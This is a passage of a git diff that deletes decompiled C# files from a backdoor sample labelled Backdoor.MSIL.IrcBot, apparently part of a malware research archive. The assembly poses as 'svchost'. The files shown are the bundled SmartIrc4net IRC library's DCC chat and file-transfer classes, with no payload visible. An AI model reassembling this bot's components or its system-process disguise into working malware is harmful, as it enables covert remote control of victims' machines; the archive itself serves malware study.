Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void CtcpDelegate(CtcpEventArgs eventArgs); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventArgs.cs deleted file mode 100644 index 11e0db55..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.CtcpEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class CtcpEventArgs : IrcEventArgs - { - private string _CtcpCommand; - private string _CtcpParameter; - - public string CtcpCommand => this._CtcpCommand; - - public string CtcpParameter => this._CtcpParameter; - - internal CtcpEventArgs(IrcMessageData data, string ctcpcmd, string ctcpparam) - : base(data) - { - this._CtcpCommand = ctcpcmd; - this._CtcpParameter = ctcpparam; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventHandler.cs deleted file mode 100644 index 82368e53..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.CtcpEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void CtcpEventHandler(object sender, CtcpEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChat.cs deleted file mode 100644 index 95612ddf..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChat.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccChat -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Threading; - -namespace Meebey.SmartIrc4net -{ - public class DccChat : DccConnection - { - private StreamReader _sr; - private StreamWriter _sw; - private int _lines; - - public int Lines => this._lines; - - internal DccChat( - IrcFeatures irc, - string user, - IPAddress externalIpAdress, - bool passive, - Priority priority) - { - this.Irc = irc; - this.ExternalIPAdress = externalIpAdress; - this.User = user; - if (passive) - { - irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) this.session, priority); - this.Disconnect(); - } - else - { - this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0)); - this.DccServer.Start(); - this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint; - irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port, priority); - } - } - - internal DccChat(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e) - { - this.Irc = irc; - this.ExternalIPAdress = externalIpAdress; - this.User = e.Data.Nick; - if (e.Data.MessageArray.Length > 4) - { - long result1; - bool flag1 = long.TryParse(e.Data.MessageArray[3], out result1); - int result2; - bool flag2 = int.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result2); - if (e.Data.MessageArray[2] == "chat" && flag1 && flag2) - { - this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result1)), result2); - if (e.Data.MessageArray.Length > 5 && e.Data.MessageArray[5] != "T") - { - this.AcceptRequest(); - return; - } - this.DccChatRequestEvent(new DccEventArgs((DccConnection) this)); - return; - } - irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat Parameter Error"); - } - else - irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat not enough parameters"); - this.isValid = false; - } - - internal override void InitWork(object stateInfo) - { - if (!this.Valid) - return; - if (this.DccServer != null) - { - this.Connection = this.DccServer.AcceptTcpClient(); - this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint; - this.DccServer.Stop(); - this.isConnected = true; - } - else - { - while (!this.isConnected) - { - Thread.Sleep(500); - if (this.reject) - { - this.isValid = false; - return; - } - } - } - this.DccChatStartEvent(new DccEventArgs((DccConnection) this)); - this._sr = new StreamReader((Stream) this.Connection.GetStream(), this.Irc.Encoding); - this._sw = new StreamWriter((Stream) this.Connection.GetStream(), this.Irc.Encoding); - this._sw.AutoFlush = true; - string messageLine; - while ((messageLine = this._sr.ReadLine()) != null && this.isConnected) - { - this.DccChatReceiveLineEvent(new DccChatEventArgs((DccConnection) this, messageLine)); - ++this._lines; - } - this.isValid = false; - this.isConnected = false; - this.DccChatStopEvent(new DccEventArgs((DccConnection) this)); - } - - public bool AcceptRequest() - { - if (this.isConnected) - return false; - try - { - if (this.RemoteEndPoint.Port == 0) - { - this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0)); - this.DccServer.Start(); - this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint; - this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC CHAT chat " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port); - } - else - { - this.Connection = new TcpClient(); - this.Connection.Connect(this.RemoteEndPoint); - this.isConnected = true; - } - return true; - } - catch (Exception ex) - { - this.isValid = false; - this.isConnected = false; - return false; - } - } - - public void WriteLine(string message) - { - if (!this.isConnected) - throw new NotConnectedException("DCC Chat is not Connected"); - this._sw.WriteLine(message); - ++this._lines; - this.DccChatSentLineEvent(new DccChatEventArgs((DccConnection) this, message)); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatEventArgs.cs deleted file mode 100644 index 203b0c1b..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccChatEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class DccChatEventArgs : DccEventArgs - { - private string _Message; - private string[] _MessageArray; - - public string Message => this._Message; - - public string[] MessageArray => this._MessageArray; - - internal DccChatEventArgs(DccConnection dcc, string messageLine) - : base(dcc) - { - this._Message = messageLine; - this._MessageArray = messageLine.Split(' '); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatLineHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatLineHandler.cs deleted file mode 100644 index a2c93d87..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatLineHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccChatLineHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void DccChatLineHandler(object sender, DccChatEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnection.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnection.cs deleted file mode 100644 index bfeb0228..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnection.cs +++ /dev/null @@ -1,193 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccConnection -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Net; -using System.Net.Sockets; - -namespace Meebey.SmartIrc4net -{ - public class DccConnection - { - protected IrcFeatures Irc; - protected TcpListener DccServer; - protected TcpClient Connection; - protected IPEndPoint LocalEndPoint; - protected IPEndPoint RemoteEndPoint; - protected IPAddress ExternalIPAdress; - protected DateTime Timeout; - protected string User; - protected bool isConnected; - protected bool isValid = true; - protected bool reject; - protected long session; - - public bool Connected => this.isConnected; - - public bool Valid - { - get - { - if (!this.isValid) - return false; - return this.isConnected || DateTime.Now < this.Timeout; - } - } - - public string Nick => this.User; - - public event DccConnectionHandler OnDccChatRequestEvent; - - protected virtual void DccChatRequestEvent(DccEventArgs e) - { - if (this.OnDccChatRequestEvent != null) - this.OnDccChatRequestEvent((object) this, e); - this.Irc.DccChatRequestEvent(e); - } - - public event DccSendRequestHandler OnDccSendRequestEvent; - - protected virtual void DccSendRequestEvent(DccSendRequestEventArgs e) - { - if (this.OnDccSendRequestEvent != null) - this.OnDccSendRequestEvent((object) this, e); - this.Irc.DccSendRequestEvent(e); - } - - public event DccConnectionHandler OnDccChatStartEvent; - - protected virtual void DccChatStartEvent(DccEventArgs e) - { - if (this.OnDccChatStartEvent != null) - this.OnDccChatStartEvent((object) this, e); - this.Irc.DccChatStartEvent(e); - } - - public event DccConnectionHandler OnDccSendStartEvent; - - protected virtual void DccSendStartEvent(DccEventArgs e) - { - if (this.OnDccSendStartEvent != null) - this.OnDccSendStartEvent((object) this, e); - this.Irc.DccSendStartEvent(e); - } - - public event DccChatLineHandler OnDccChatReceiveLineEvent; - - protected virtual void DccChatReceiveLineEvent(DccChatEventArgs e) - { - if (this.OnDccChatReceiveLineEvent != null) - this.OnDccChatReceiveLineEvent((object) this, e); - this.Irc.DccChatReceiveLineEvent(e); - } - - public event DccSendPacketHandler OnDccSendReceiveBlockEvent; - - protected virtual void DccSendReceiveBlockEvent(DccSendEventArgs e) - { - if (this.OnDccSendReceiveBlockEvent != null) - this.OnDccSendReceiveBlockEvent((object) this, e); - this.Irc.DccSendReceiveBlockEvent(e); - } - - public event DccChatLineHandler OnDccChatSentLineEvent; - - protected virtual void DccChatSentLineEvent(DccChatEventArgs e) - { - if (this.OnDccChatSentLineEvent != null) - this.OnDccChatSentLineEvent((object) this, e); - this.Irc.DccChatSentLineEvent(e); - } - - public event DccSendPacketHandler OnDccSendSentBlockEvent; - - protected virtual void DccSendSentBlockEvent(DccSendEventArgs e) - { - if (this.OnDccSendSentBlockEvent != null) - this.OnDccSendSentBlockEvent((object) this, e); - this.Irc.DccSendSentBlockEvent(e); - } - - public event DccConnectionHandler OnDccChatStopEvent; - - protected virtual void DccChatStopEvent(DccEventArgs e) - { - if (this.OnDccChatStopEvent != null) - this.OnDccChatStopEvent((object) this, e); - this.Irc.DccChatStopEvent(e); - } - - public event DccConnectionHandler OnDccSendStopEvent; - - protected virtual void DccSendStopEvent(DccEventArgs e) - { - if (this.OnDccSendStopEvent != null) - this.OnDccSendStopEvent((object) this, e); - this.Irc.DccSendStopEvent(e); - } - - internal DccConnection() - { - this.session = DccConnection.Session.Next; - this.Timeout = DateTime.Now.AddSeconds(120.0); - } - - internal virtual void InitWork(object stateInfo) => throw new NotSupportedException(); - - internal bool isSession(long session) => session == this.session; - - public void RejectRequest() - { - this.Irc.SendMessage(SendType.CtcpReply, this.User, "ERRMSG DCC Rejected"); - this.reject = true; - this.isValid = false; - } - - public void Disconnect() - { - this.isConnected = false; - this.isValid = false; - } - - public override string ToString() => "DCC Session " + (object) this.session + " of " + this.GetType().ToString() + " is " + (this.isConnected ? (object) ("connected to " + this.RemoteEndPoint.Address.ToString()) : (object) "not connected") + "[" + this.User + "]"; - - protected long HostToDccInt(IPAddress ip) => (ip.Address & (long) byte.MaxValue) << 24 | (ip.Address & 65280L) << 8 | ip.Address >> 8 & 65280L | ip.Address >> 24 & (long) byte.MaxValue; - - protected string DccIntToHost(long ip) - { - IPEndPoint ipEndPoint = new IPEndPoint(ip, 80); - char[] chArray = new char[1]{ '.' }; - string[] strArray = ipEndPoint.Address.ToString().Split(chArray); - return strArray[3] + "." + strArray[2] + "." + strArray[1] + "." + strArray[0]; - } - - protected byte[] getAck(long SentBytes) => new byte[4] - { - (byte) ((ulong) (SentBytes >> 24) % 256UL), - (byte) ((ulong) (SentBytes >> 16) % 256UL), - (byte) ((ulong) (SentBytes >> 8) % 256UL), - (byte) ((ulong) SentBytes % 256UL) - }; - - protected string FilterMarker(string msg) - { - string str = ""; - foreach (char ch in msg) - { - if (ch != '\u0001') - str += (string) (object) ch; - } - return str; - } - - private class Session - { - private static long next; - - internal static long Next => ++DccConnection.Session.next; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnectionHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnectionHandler.cs deleted file mode 100644 index f051ef8c..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnectionHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccConnectionHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void DccConnectionHandler(object sender, DccEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccEventArgs.cs deleted file mode 100644 index 156f16f4..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccEventArgs.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class DccEventArgs : EventArgs - { - private DccConnection _dcc; - - public DccConnection dcc => this._dcc; - - internal DccEventArgs(DccConnection dcc) => this._dcc = dcc; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSend.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSend.cs deleted file mode 100644 index e5f1e495..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSend.cs +++ /dev/null @@ -1,252 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccSend -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Threading; - -namespace Meebey.SmartIrc4net -{ - public class DccSend : DccConnection - { - private Stream _File; - private long _Filesize; - private string _Filename; - private bool _DirectionUp; - private long _SentBytes; - private DccSpeed _Speed; - private byte[] _Buffer = new byte[8192]; - - public long SentBytes => this._SentBytes; - - internal DccSend( - IrcFeatures irc, - string user, - IPAddress externalIpAdress, - Stream file, - string filename, - long filesize, - DccSpeed speed, - bool passive, - Priority priority) - { - this.Irc = irc; - this._DirectionUp = true; - this._File = file; - this._Filesize = filesize; - this._Filename = filename; - this._Speed = speed; - this.User = user; - if (passive) - { - irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) filesize + " " + (object) this.session, priority); - } - else - { - this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0)); - this.DccServer.Start(); - this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint; - irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) filesize, priority); - } - } - - internal DccSend(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e) - { - this.Irc = irc; - this._DirectionUp = false; - this.User = e.Data.Nick; - if (e.Data.MessageArray.Length > 4) - { - long result1 = 0; - int result2 = 0; - long result3; - bool flag1 = long.TryParse(e.Data.MessageArray[3], out result3); - bool flag2 = int.TryParse(e.Data.MessageArray[4], out result2); - if (e.Data.MessageArray.Length > 5) - { - long.TryParse(this.FilterMarker(e.Data.MessageArray[5]), out result1); - this._Filesize = result1; - this._Filename = e.Data.MessageArray[2].Trim('"'); - } - if (flag1 && flag2) - { - this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result3)), result2); - this.DccSendRequestEvent(new DccSendRequestEventArgs((DccConnection) this, e.Data.MessageArray[2], result1)); - } - else - irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send Parameter Error"); - } - else - irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send not enough parameters"); - } - - internal override void InitWork(object stateInfo) - { - if (!this.Valid) - return; - if (this.DccServer != null) - { - this.Connection = this.DccServer.AcceptTcpClient(); - this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint; - this.DccServer.Stop(); - this.isConnected = true; - } - else - { - while (!this.isConnected) - { - Thread.Sleep(500); - if (this.reject) - return; - } - } - this.DccSendStartEvent(new DccEventArgs((DccConnection) this)); - if (this._DirectionUp) - { - int num; - do - { - while (this.Connection.Available > 0) - { - switch (this._Speed) - { - case DccSpeed.Rfc: - this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length); - continue; - case DccSpeed.RfcSendAhead: - this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length); - continue; - default: - continue; - } - } - num = this._File.Read(this._Buffer, 0, this._Buffer.Length); - try - { - this.Connection.GetStream().Write(this._Buffer, 0, num); - } - catch (IOException ex) - { - num = 0; - } - this._SentBytes += (long) num; - if (num > 0) - { - this.DccSendSentBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num)); - Console.Write("."); - } - } - while (num > 0); - } - else - { - int num; - while ((num = this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length)) > 0) - { - this._File.Write(this._Buffer, 0, num); - this._SentBytes += (long) num; - if (this._Speed != DccSpeed.Turbo) - this.Connection.GetStream().Write(this.getAck(this._SentBytes), 0, 4); - this.DccSendReceiveBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num)); - } - } - this.isValid = false; - this.isConnected = false; - Console.WriteLine("--> Filetrangsfer Endet / Bytes sent: " + (object) this._SentBytes + " of " + (object) this._Filesize); - this.DccSendStopEvent(new DccEventArgs((DccConnection) this)); - } - - public bool AcceptRequest(Stream file, long offset) - { - if (this.isConnected) - return false; - try - { - if (file != null) - this._File = file; - if (this.RemoteEndPoint.Port == 0) - { - this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0)); - this.DccServer.Start(); - this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint; - this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC SEND \"" + this._Filename + "\" " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) this._Filesize); - } - else if (offset == 0L) - { - this.Connection = new TcpClient(); - this.Connection.Connect(this.RemoteEndPoint); - this.isConnected = true; - } - else if (this._File.CanSeek) - { - this._File.Seek(offset, SeekOrigin.Begin); - this._SentBytes = offset; - this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset); - } - else - { - this._SentBytes = offset; - this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset); - } - return true; - } - catch (Exception ex) - { - this.isValid = false; - this.isConnected = false; - return false; - } - } - - internal bool TryResume(CtcpEventArgs e) - { - if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4) - { - if (this._Filename == e.Data.MessageArray[2].Trim('"')) - { - long result = 0; - long.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result); - if (this._File.CanSeek) - { - if (e.Data.MessageArray.Length > 5) - this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + e.Data.MessageArray[4] + " " + this.FilterMarker(e.Data.MessageArray[5])); - else - this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + this.FilterMarker(e.Data.MessageArray[4])); - this._File.Seek(result, SeekOrigin.Begin); - this._SentBytes = result; - return true; - } - this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "ERRMSG DCC File not seekable"); - } - } - return false; - } - - internal bool TryAccept(CtcpEventArgs e) - { - if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4) - { - if (this._Filename == e.Data.MessageArray[2].Trim('"')) - return this.AcceptRequest((Stream) null, 0L); - } - return false; - } - - internal bool SetRemote(CtcpEventArgs e) - { - int result1 = 0; - long result2; - bool flag1 = long.TryParse(e.Data.MessageArray[3], out result2); - bool flag2 = int.TryParse(e.Data.MessageArray[4], out result1); - if (!flag1 || !flag2) - return false; - this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result2)), result1); - return true; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendEventArgs.cs deleted file mode 100644 index bbfb3c05..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.DccSendEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class DccSendEventArgs : DccEventArgs - { - private byte[] _Package; - private int _PackageSize; - - public byte[] Package => this._Package; - - public int PackageSize => this._PackageSize; - - internal DccSendEventArgs(DccConnection dcc, byte[] package, int packageSize) - : base(dcc) - { - this._Package = package; - this._PackageSize = packageSize; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendPacketHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSendPacketHandler.cs deleted file mode 100644 index ebac94c3..00000000 --- 